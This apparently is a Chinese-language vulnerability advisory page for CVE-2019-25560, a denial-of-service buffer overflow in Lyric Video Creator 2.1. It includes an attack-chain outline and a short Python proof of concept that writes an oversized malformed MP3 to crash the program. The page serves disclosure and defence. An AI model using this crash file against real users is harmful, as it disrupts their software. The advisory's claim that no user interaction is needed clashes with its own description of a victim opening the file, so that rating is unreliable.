IPBUF安全漏洞报告
English
CVE-2019-25560 CVSS 7.5 高危

CVE-2019-25560 Lyric Video Creator拒绝服务漏洞

披露日期: 2026-03-21

漏洞信息

漏洞编号
CVE-2019-25560
漏洞类型
拒绝服务 (DoS)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Lyric Video Creator

相关标签

拒绝服务DoS缓冲区溢出Lyric Video CreatorCVE-2019-25560

漏洞概述

CVE-2019-25560 是存在于 Lyric Video Creator 2.1 版本中的高危拒绝服务漏洞。该漏洞源于应用程序在解析 MP3 文件时,对缓冲区大小的验证不足。攻击者可以构造包含畸形数据的恶意 MP3 文件,诱导受害者通过软件的“Browse song”功能打开该文件,从而触发缓冲区溢出导致应用程序崩溃。

技术细节

该漏洞的根源在于 Lyric Video Creator 在处理 MP3 文件格式时缺乏严格的边界检查。攻击者利用软件解析 MP3 数据流(如 ID3 标签或音频帧)的逻辑缺陷,注入经过精心设计的超大缓冲区数据。当应用程序调用“Browse song”功能加载该恶意文件时,解析引擎会尝试将过量的数据复制到内存中的固定位置。由于未对数据长度进行有效校验,这种操作会覆盖相邻的内存区域,破坏堆栈平衡或关键数据结构,最终导致程序异常终止。由于 CVSS 评分为 7.5 且无需用户交互(UI:N),该漏洞可能通过自动化分发恶意文件的方式被远程利用,严重影响服务的可用性。

攻击链分析

STEP 1
1. 信息收集
攻击者确认目标系统使用的是存在漏洞的 Lyric Video Creator 2.1 版本。
STEP 2
2. 武器化
攻击者编写脚本或使用工具生成包含超大缓冲区的畸形 MP3 文件。
STEP 3
3. 投递
通过邮件附件、文件共享网站或其他网络渠道将恶意 MP3 文件发送给目标用户。
STEP 4
4. 利用
目标用户在 Lyric Video Creator 中使用“Browse song”功能打开该恶意文件。
STEP 5
5. 影响
应用程序处理文件时发生缓冲区溢出,导致软件崩溃,服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC Code for CVE-2019-25560 # Generates a malformed MP3 file to trigger DoS in Lyric Video Creator 2.1 import struct def generate_exploit_mp3(filename="crash.mp3", buffer_size=5000): """ Creates a malformed MP3 file with an oversized buffer. Opening this file in Lyric Video Creator 2.1 triggers the crash. """ # Standard MP3 Header (ID3v2) # ID3v2 header: 'ID3' + version + flags + size header = b'ID3\x04\x00\x00\x00\x00\x00\00' # Oversized buffer payload (e.g., 'A' characters) payload = b'A' * buffer_size with open(filename, 'wb') as f: f.write(header + payload) print(f"[+] Exploit file '{filename}' generated.") print(f"[!] Open this file in Lyric Video Creator 2.1 to reproduce the CVE.") if __name__ == "__main__": generate_exploit_mp3()

影响范围

Lyric Video Creator 2.1

防御指南

临时缓解措施
目前最有效的缓解措施是避免打开来源不明的 MP3 文件。建议用户在等待官方修复补丁期间,暂停使用受影响版本处理未知音频文件,或在隔离的虚拟机环境中进行操作,以防止应用程序崩溃对主机造成进一步影响。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表